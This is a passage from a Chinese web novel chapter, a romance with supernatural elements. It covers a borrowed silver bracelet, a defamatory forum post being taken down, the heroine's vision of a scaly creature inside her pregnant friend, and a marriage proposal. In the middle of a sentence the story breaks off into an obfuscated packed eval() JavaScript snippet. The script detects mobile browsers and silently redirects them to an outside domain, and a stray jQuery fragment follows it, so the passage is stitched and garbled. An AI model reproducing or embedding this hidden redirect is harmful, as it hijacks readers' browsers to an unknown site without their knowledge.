山城的地下管网、河道治理项目,阮华蓁筛出来六个。无论投资规模、建设内容还是项目进度,都挺适合申请超长期国债两重资金和美丽小河湖的。公司之前也和山城住建、水务局合作过,在当地政府部门算是有不错的口碑。

    阮华蓁把筛选表格发给周所,又顺嘴问了一句平城项目有没有进一步推进的可能。周所回得干脆利落:“平城项目没戏,你多查查山城的资料。”

    近期跟进的项目突然黄了,阮华蓁的工作蓦地松弛下来。这感觉有点像一直被拽着跑的人突然被松了绳子,她反而有点不知道手脚该往哪儿放了。

    临下班的时候,王劲磨蹭到了她工位。他东拉西扯了一阵子,从中午食堂的菜色聊到最近天气反常,最后眼看着快要下班了,才终于切入正题:“我说妹妹啊,你那镯子,能不能借哥哥我用几天?”

    阮华蓁愣了一下:“借镯子?”

    “我女朋友看上了你这个款,说想参照着打一个。”王劲搓着手,“就借三天,打完就还你。”

    阮华蓁低头看了看自己手腕上那只银镯子——泥鳅背式的开口素圈,中间雕了朵莲花,因为岁月的打磨,花纹的边缘已经有些模糊,但整体看着确实比市面上一般的银镯子更有质感。

    她有点犹豫。跟别人戴一模一样的镯子,大部分女生应该都不太乐意吧?

    王劲也是个人精,立刻补充道:“你放心,不会一模一样的。她就是喜欢你这个泥鳅背的感觉,花纹她想刻成祥云纹,不会跟你的莲花撞款的。”

    阮华蓁想起前几天在电梯里盯着自己手镯看了半天的那个女生,依稀记得挺面善,当时自己还想这姑娘看上了王劲什么,不会被骗了吧。

    “就借三天,”王劲拍着胸脯,“三天后一定还你。以后你有项目加班需要,哥哥我赴汤蹈火在所不辞。”

    阮华蓁看着他信誓旦旦的样子,便点了点头。王劲嘿嘿笑着等她把手镯退下来,小心翼翼地装进了一个小首饰盒里。

    “你不知道,我这女朋友就喜欢些手工的东西。这首饰盒看到没?仿古梨花木雕的,我特意在潘家园淘的,花了我一千大洋!最近她生日,你这镯子正好借我打个生日礼物,谢谢啦妹妹!”

    王劲把工作以来对阮华蓁的感激和善意都在今天释放了,笑脸陪得阮华蓁都有点不好意思。

    她摆了摆手:“别给我磕坏了,打好赶紧还我。”

    “放心放心!一百个保证!”

    阮华蓁不用加班、到点下班、买菜、回家做饭,陆珩非常满意。只是他看到阮华蓁手腕上空荡荡的,问了几句,听完王劲借镯子的经过后,表情变得有点奇怪。

    “拿别人的镯子当样品打手镯?”

    “少见吧?我也觉得怪。”阮华蓁进了厨房,“不过看他那样子也是真心想给女朋友惊喜,就借了。”

    陆珩没有继续追问,但阮华蓁注意到他的目光在自己空荡荡的手腕上停了一会儿。

    “对了,”陆珩跟到厨房门口,“什么时候方便跟我回趟老宅吧。我爸我妈想见你。”

    阮华蓁正在洗菜的手顿了一下:“……见你爸妈?”

    “嗯。我也想咱们关系更进一步,你看哪天方便?”

    陆珩说着就从背后圈住了阮华蓁的腰,下巴亲昵地搁在了她的肩膀处,细细地朝着她的脖子吹气。

    阮华蓁笑着躲了,没有说具体日子。她总觉得太快了,而且陆珩的爸妈都不是好相处的人。

    “……我再想想。”她说。

    这一想就是两天。

    第三天晚上,她正在厨房熬鸡汤,因为陆珩最近又说胃口不好,“肚子里的孩子折腾得他难受”,手机忽然响了,是周所的消息:“小阮,山城项目那边有个会,你简单做个前期沟通PPT,明早给我。”

    阮华蓁盯着那条消息,觉得自己头顶的血压计数值正在直线上升。她看了一眼正在沙发上捂着肚子、表情无辜的陆珩,连着翻了好几个白眼。

    “你看着点鸡汤的火候。”她把围裙解下来扔在椅背上,拎着电脑进了卧室。

    她那台服役了七八年的老电脑开机就花了三分钟。她一边等PPT加载,一边顺手刷了一下网页,然后她的手指顿住了。

    一个帖子的标题赫然挂在某个流量不小的论坛首页:

    《有为集团陆三少携子逼婚?女方身份曝光!》

    配图是一张侧脸照,是她带着陆珩去医院做B超那天被拍的。照片里她正低头看挂号单,侧脸清晰可辨。

    帖子的内容更是离谱:有为集团老总的三公子在外面有了私生子,女方长得一般、家世一般,正在携子逼婚,想要嫁入豪门。

    评论区一水的贬低,说她有心计、白莲花,陆三少的妈妈让她把孩子打掉并承诺给几百万她都不同意,一心想要蛇吞象跨越阶级。

    还有人爆料说陆珩其实有青梅竹马,两家本来要联姻,是她横插一杠子趁陆珩醉酒上位。

    阮华蓁的太阳穴突突地跳了几下。她深吸一口气,往下划了划,有人在问她的正面照,带节奏的说“我有,稍后放”。几条替她说话的评论很快被删了。

    她拿起手机到客厅,把手机怼到陆珩面前:“你看看这个。”

    陆珩接过手机,目光扫过屏幕。

    “……明明是我怀孕了,”他抬起头看着她,笑道,“他们搞反了吧。”

    阮华蓁差点没被口水呛死:“你还有心思开玩笑?!”

    “我没有开玩笑。”陆珩把手机还给她,“我会处理。帖子会消失,你的隐私不会暴露。”

    阮华蓁瞪着他,还想说什么,但忽然发现陆珩的目光没有落在她腹部。

    “你看什么?”阮华蓁下意识地捂了一下肚子。

    “没什么。”陆珩收回目光,“鸡汤好了,我去关火。”

    他转身走进厨房,阮华蓁总觉得他刚才那个眼神里有什么东西。她低头看了看自己的腹部,那里平平的,什么都没有。

    半小时后,帖子消失了。链接点开是404,搜索关键词什么都搜不到,连截图都被清理得干干净净。阮华蓁刷了好几遍,确认那个帖子真的不见了,才把手机放下。

    “你找人删的?”她问。

    “嗯。”陆珩给她盛了一碗鸡汤,“是我妹妹发的。她最近心情不太好。”

    “你妹妹?”阮华蓁接过碗,“她为什么发这种帖子?”

    “我爸最近把公司的一部分股权转给了我,没有给她。而且本来我爸同意了我们在一起,不用联姻,但他最近开始给她介绍相亲对象。”陆珩的语气很平淡,“她心里不痛快,就找了个发泄出口。”

    阮华蓁低头喝了一口汤,觉得豪门的水真深。她更不想去陆家老宅了,这一家子人,一个比一个难搞。

    她还没开口,陆珩已经走了过来,从背后轻轻环住了她的肩膀。他的下巴搁在她头顶,声音低低的:“别歧视我的家庭。我对你是一心一意的。”

    阮华蓁僵了一下:“……我没歧视。”

    “你的表情写了‘豪门真乱’。”

    “你还能看到我的表情?”

    “你在心里叹气的时候,肩膀会先往下沉一下。”

    阮华蓁没有反驳,因为她的肩膀确实刚刚沉了一下。她低头继续喝汤,耳朵尖又红了。

    第二天上班,王劲一大早就把镯子还了回来。

    首饰盒换成了普通的小绒布袋,但镯子被擦得锃亮,像被人仔细养护过。阮华蓁检查了一下,花纹完好,重量也没变,便把镯子重新戴回了手腕上。

    银镯贴着皮肤的那一瞬间,她左眼皮忽然跳了一下,紧接着左眼里的那颗红痣也跟着急跳了两下,像被什么东西轻轻戳了一下,又安静了。

    她揉了揉眼睛,以为是昨晚没睡好。

    手机响了,是林薇薇的电话:“蓁蓁,中午我去找你吃饭!你在公司吧?”

    “在。你怎么突然过来了?”

    “我有点事想跟你说……电话里说不清楚。”林薇薇的声音里带着焦虑。

    中午,阮华蓁在公司附近的万达广场和林薇薇碰了面。

    两人找了一家广式茶餐厅,阮华蓁点了虾饺、肠粉和一份艇仔粥。

    林薇薇这几天好像瘦了一些,下巴尖了,眼下的青黑连粉底都遮不住。她几乎没吃,筷子戳着虾饺的皮,戳出一个又一个的小洞。

    “你怎么不吃?”阮华蓁问。

    “孕吐。”林薇薇的表情委屈,“我要死了,吃什么吐什么,连闻到味道都难受。”

    阮华蓁想起了那个天天说自己“孕吐”的陆珩,赶紧把思绪拉了回来:“那你也得多少吃点。”

    “我昨天晚上又做噩梦了。”林薇薇放下筷子,“梦到蛇游进我肚子里……好几条,缠着我的内脏,吃空了。我吓醒了,一身冷汗。”她盯着阮华蓁,“蓁蓁,你说,冯骧和孩子真的克我吗?陆珩那天说的那些……”

    阮华蓁看着她憔悴的样子,忙安慰道:“他就是胡乱说的,不一定准。我问过他了,他就是觉得冯骧长得像花心大萝卜,随口提了一句。你别自己吓自己。”

    林薇薇听了,神色松了一点点:“真的?”

    “真的。再说了,他一个搞公司的,看什么相啊,你还真信。”

    “也是。”林薇薇长出了一口气,端起杯子喝了口水,“不过……我怀疑冯骧这周末要跟我求婚。”

    阮华蓁正在喝粥,差点呛到:“这么快?”

    “他这几天神神秘秘的,跟他妈打电话都躲着我。”林薇薇压低声音,“他晚上偷偷量了我的手指,今早还跟我说周末约大家吃饭,肯定有动作。”

    “那你打算怎么办?”阮华蓁放下勺子,“答应还是不答应?”

    “我就是不知道才来找你。”林薇薇趴在桌上,下巴搁在手背上,“你说,我要不要答应啊?”

    阮华蓁看着她那副纠结的样子,沉默了一下:“你带他见过你爸妈了吗?”

    “见过了。”林薇薇说,“我爸跟他聊得特别投机,从航天技术聊到新材料,我爸夸他有才华。我妈也挺满意的,知道我怀孕之后,催着让我赶紧订婚。”

    “你爸妈都满意,你自己呢?”阮华蓁问,“你跟他在一起开心吗?”

    林薇薇想了一下:“……开心。”

    “那就先别想那么多。”阮华蓁说,“你要是不放心,订婚又不是结婚,实在不行还能退。再不行,孩子留着自己养,去父留子,也不是不行。”

    林薇薇愣了一下,然后“噗”地笑出声来:“去父留子?你这什么虎狼之词。”

    “我是认真的。”阮华蓁一本正经,“你有钱有颜有才华,怕什么。”

    “也是!姥娘白富美,怕个锤子!”

    林薇薇笑起来,笑着笑着,忽然岔了气,咳个不停。

    阮华蓁忙伸手拍她的胸口顺气,林薇薇又咳了两声,然后忽然停下来,惊讶地摸了摸胃部:“哎?奇怪……我刚才的反胃感,突然没了。闻着虾饺竟然觉得香了。”她惊喜地看着阮华蓁,“你这手是施了魔法吧?一拍就好了!”

    阮华蓁也笑了一下,顺着她的意,又拍了拍她的肚子:“好了好了,施过法了,现在可以吃了。”

    她手掌落下去的那一瞬间,左眼里的红痣猛地一跳。

    一个画面掠过她的视野——白茫茫的、像隔着雾气看东西。雾气底下,有什么东西在动。那是一团蜷缩的轮廓,像婴儿,但又不是。它的表面有细密的鳞片,像鱼,又像蛇,尾端缠着一圈黑色的纹路,正在缓慢地、一伸一缩地蠕动。

    阮华蓁猛地收回了手。

    “怎么了?”林薇薇被她吓了一跳。

    “没……没什么。”阮华蓁挤出一个笑,“就是突然觉得手麻了一下。”

    她低下头假装喝粥,手心还在发凉。那个画面太清晰了,清晰得不像是想象。她抬起头看了一眼林薇薇的肚子,那里平平的,被宽松的连衣裙遮着,看不出任何异常。但她左眼的红痣还在隐隐地跳。

    陆珩说的话在她耳边又响了起来:“冯骧和孩子都克她。”

    她当时觉得那是随口一说。但现在,她忽然没有那么确定了。

    她放下筷子,在桌子下面悄悄攥了一下自己的手。那只银镯子正贴着皮肤,温凉的,安静得像什么都没感知到。

    但她总觉得有什么东西在她看不见的层面正在悄然发生。而她不知道为什么,那个画面里蜷缩的轮廓,让她莫名想起了那些在矿洞里看到的、不应该属于这个世界的生物。

    她抬起头,笑着对林薇薇说:“多吃点,吃饱了才有力气纠

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763067|207075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    结。”

    林薇薇“嗯”了一声,终于夹起了那只被戳了无数个洞的虾饺。阮华蓁看着她的侧脸,没有告诉她刚才看到了什么。

    周末冯骧邀请了林薇薇和自己的好友聚餐,傍晚,阮华蓁和陆珩坐车到了冯骧订的私人会所。

    车从一条不起眼的胡同拐进去,越往里走越安静,灰砖墙、老槐树、朱红门,门楣上挂着一块不起眼的木匾,刻着“拾光”两个瘦金体小字。

    推门进去,是典型的三进三出的老北京四合院。天井里种着一棵近百年的石榴树,花朵儿艳红,叶子在晚风里沙沙响,树下摆着几张藤编桌椅,青砖地面被岁月磨得微微泛光。

    阮华蓁环顾四周,小声道:“这地方,一般人找不到吧?”

    陆珩站在她旁边,语气随意:“冯骧说这是他家祖上传下来的。平时不对外开放,只有熟人能订。”

    “祖上传下来的?”阮华蓁看了一眼廊下那些雕花的木构件,“那他家以前应该是大户。”

    “应该是。”陆珩微微歪了一下头,“不过他家的祖上具体是做什么的,我没查到。”

    阮华蓁转头看他:“你查过?”

    “随便翻了一下。”陆珩的目光落在不远处廊柱上一道深色的痕迹上,“没翻到太详细的东西。”

    那道痕迹像是被火烧过的,边缘已经模糊,但颜色比周围深了一整圈。阮华蓁还没来得及细看,林薇薇的声音从后面传过来:“蓁蓁!你来了!”

    林薇薇今天穿了一条藕粉色的连衣裙,化了淡妆,气色比前几天好了不少,可能是孕吐终于消停了。她快步走过来挽住阮华蓁的手臂,压低声音:“我好紧张……他今天肯定要搞事情。”

    “你紧张什么?”阮华蓁笑了,“你不是已经决定好了吗?”

    “决定好了和紧张不冲突!”林薇薇深吸一口气,“你待会儿别走远,万一我腿软了你扶我一下。”

    “你腿软了我把你架走。”

    “你这什么闺蜜。”

    冯骧正在院子里跟几位朋友说话,看到她们过来,远远地打了个招呼。他今天穿了一身深色休闲西装,衬得身形修长,嘴角带着标志性的、略带痞气的笑。

    晚宴设在正厅里,一张长桌,十几个人,都是冯骧和林薇薇两边的好友。菜品精致、摆盘讲究,一道一道地上,节奏不紧不慢。酒过三巡,冯骧站起来,举着杯子环顾了一圈:“大家吃好喝好,待会儿还有节目。”

    “什么节目?”有人起哄。

    冯骧笑了一下,道:“保密。”

    饭后,冯骧走到阮华蓁身边:“阮小姐,你能不能带薇薇去后院看看?后院的牡丹最近开了,她说想看,我这边还要招待一下客人,怕顾不上她。”

    阮华蓁看了他一眼,又看了林薇薇一眼,了然。她笑着拍了拍一旁聊天的林薇薇的肩膀道:“走,后院的牡丹开了,去瞅瞅。”

    “牡丹?这个季节?”林薇薇疑惑,但很快明白过来,跟着站了起来。

    后院不大,一个青砖铺的小院,墙角种着一丛牡丹,开得正好,几株白的几株紫的,在暮色里显得格外饱满。林薇薇蹲下来闻了闻花,笑靥如花:“他肯定在布置前面。”

    “他每次想给我惊喜的时候,都会找借口把我支走。”林薇薇站起来拍了拍手,嘴角带着压不住的开心,“上次生日也是这样,他让我去阳台看月亮,结果回来满客厅都是气球。”

    阮华蓁看着她的侧脸,也笑了:“那你待会儿假装很惊喜。”

    “我不用假装。”林薇薇摸了摸自己的肚子,“我确实很惊喜。”

    两个人在后院聊了大约半小时,说了些有的没的。林薇薇最近画的漫画进度、阮华蓁那个鸡飞狗跳的项目、还有陆珩这几天假装胃口不好缠着她做各种吃的,甚至用上了“孕吐”的借口。

    林薇薇听得笑得直打跌:“你男朋友还真是戏精附体,演孕妇演得比我还像。”

    “你别笑他了,他最近胃口确实不好。”

    “那你多给他熬汤。”

    “熬了,喝了一碗,说宝宝喜欢。”

    “哈哈哈哈哈哈哈——”

    笑声还没落,前院传来一阵隐约的音乐声。林薇薇愣了一下,阮华蓁拉着她的手:“走吧,该回去了。”

    从前院的月亮门走进去的那一瞬间,阮华蓁看到林薇薇的呼吸顿住了。

    整个院子变了样,石榴树上挂满了暖黄色的小灯,像被洒了一把碎星星。树枝间垂下细长的白色灯串,在晚风里轻轻摇晃。地面上用玫瑰花瓣铺出了一条窄窄的小径,从月亮门一直延伸到院子中央。院子中央的藤编桌椅已经被撤走了,取而代之的是一小片被灯光照亮的空地,空地上摆着一架白色的三角钢琴,旁边站着一个抱着吉他的歌手,是林薇薇一直很喜欢的那位民谣歌手,她收藏了他每一张专辑,连手机铃声都是他的歌。

    《今天你要嫁给我》轻快的歌曲的前奏响起来的时候,林薇薇整个人像被按了暂停键。

    “他……他怎么请到的……”她的声音有点抖。

    冯骧从廊柱后面走出来,手里拿着一个小盒子,到林薇薇面前时,他单膝跪下,举起了一枚鸽子蛋大小的钻戒,在灯光下折射出璀璨的光芒。

    “薇薇,你愿意嫁给我吗?”他的声音也难掩激动。

    周围响起一阵倒吸气和压抑的欢呼声。

    林薇薇的眼泪在眼眶里转了两圈,然后她点头了,大声道:“愿意!”

    冯骧站起来,把戒指戴在她手指上。林薇薇低头看了一眼自己的手,又抬头看他,然后扑进他怀里。

    两人在灯光和音乐里拥抱、亲吻,周围的好友们爆发出一阵欢呼,有人吹口哨,有人鼓掌,有人在拍照。知名的摄影师从角落里走出来,镜头对准他们,咔咔咔拍个不停,旁边还有专门的人举着录像机录视频,全方位无死角记录这个“完美求婚时刻”。

    阮华蓁站在人群边缘,欣慰地替闺蜜鼓掌。但她的左眼红痣突然开始跳,这一次比任何时候都急促。她用力地眨了眨眼,之前看到那个画面又来了——雾气、蜷缩的轮廓、细密的鳞片、缠绕的黑色纹路。

    这一次比上次更清楚,那个“孩子”的形态正在慢慢变化,变得越来越不像人类,越来越像怪物。

    她猛地攥紧了拳头。